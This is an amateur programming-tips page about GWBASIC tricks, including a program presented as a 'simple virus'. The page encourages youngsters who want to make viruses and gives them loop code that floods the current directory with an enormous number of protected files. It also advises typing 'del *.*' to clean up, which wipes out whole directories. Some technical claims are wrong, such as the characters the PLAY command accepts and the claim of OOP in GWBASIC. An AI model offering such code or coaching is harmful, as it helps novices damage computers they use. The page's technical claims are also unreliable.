Programming Tricks ...

This discusses:

·        GWBASIC – advanced.

·       Turbo-C++ – non BGI fast Graphics.

·       Outlook Express – the way to use.

Webmasters Make $$$
Webmasters Make $$$ 

GWBASIC

            In this language the use of a few principles of Object Oriented Programming (OOPS) are rarely known. In this language too we can encrypt our source code (make the program un-list-able) by using the “,P” modifier where P stands for protected. Syntax:                                Save <Filename>, P

Then if we load the file, we cannot List/Save or edit the file; but can Run it.

            Many youngsters dream to make a virus, while still studying GWBASIC, and feel that the language is not equipped well enough and are told that Assembly Language etc. would be required. THIS IS WRONG. To understand; A Virus is a malicious code that does some damage to the computer System without the knowledge of the person running the code. A very basic virus (for the beginners) need not essentially have to be a TSR. The beginner may get to know what a simple virus may do by keying in the simple program:

          10        ‘Save & fill

20          Input “Your name please…?”, Q$ : FOR I = 1 TO 250

30          FOR J = 1 TO 250: FOR L = 1 TO 250

40     FOR K= 1 TO 250: NY$= CHR$(K) + CHR$(J) +CHR$(I): A$=CHR$(L) +”VirusMY.”+ NY$

50     Save A$, P: ? ”Good Morning Mr. ” ; NY$; “  ---- by :::>>>”;Q$

60     Next K, L, J, I

70     End

OK

This is one of the simplest of viruses, which creates a great no. of files in the current directory. Deleting which would be irritating enough for the virus to be called successful. In case you face problems in deleting the files, then copy the essential files to a different directory & type: del *.* at the command prompt (You can reach there by either searching & running Command.COM or by typing SHELL from the GWBASIC interpreter interface) after reaching the required directory.

 

Now let me tell you about another command, that not many programmers know, this is for making the computer sing some tunes. If you give the command play, and specify the tune within quotes then our GWBASIC very well plays the tune. A ‘legal’ tune consists of the characters A, B, C and . . The Line no. is optional, as with other commands (Print etc.).

 Syntax:                                   <Line No.> PLAY “<Tune>”

Example:                      10        PLAY “AB….BC..ABCAABBBCC…cc”

            Some among you might be aspiring to create games, so for them I have the tricks to track down the special key-strokes like the arrow keys etc, and also those wanting to password protect their program would be benefited.

So try it out too.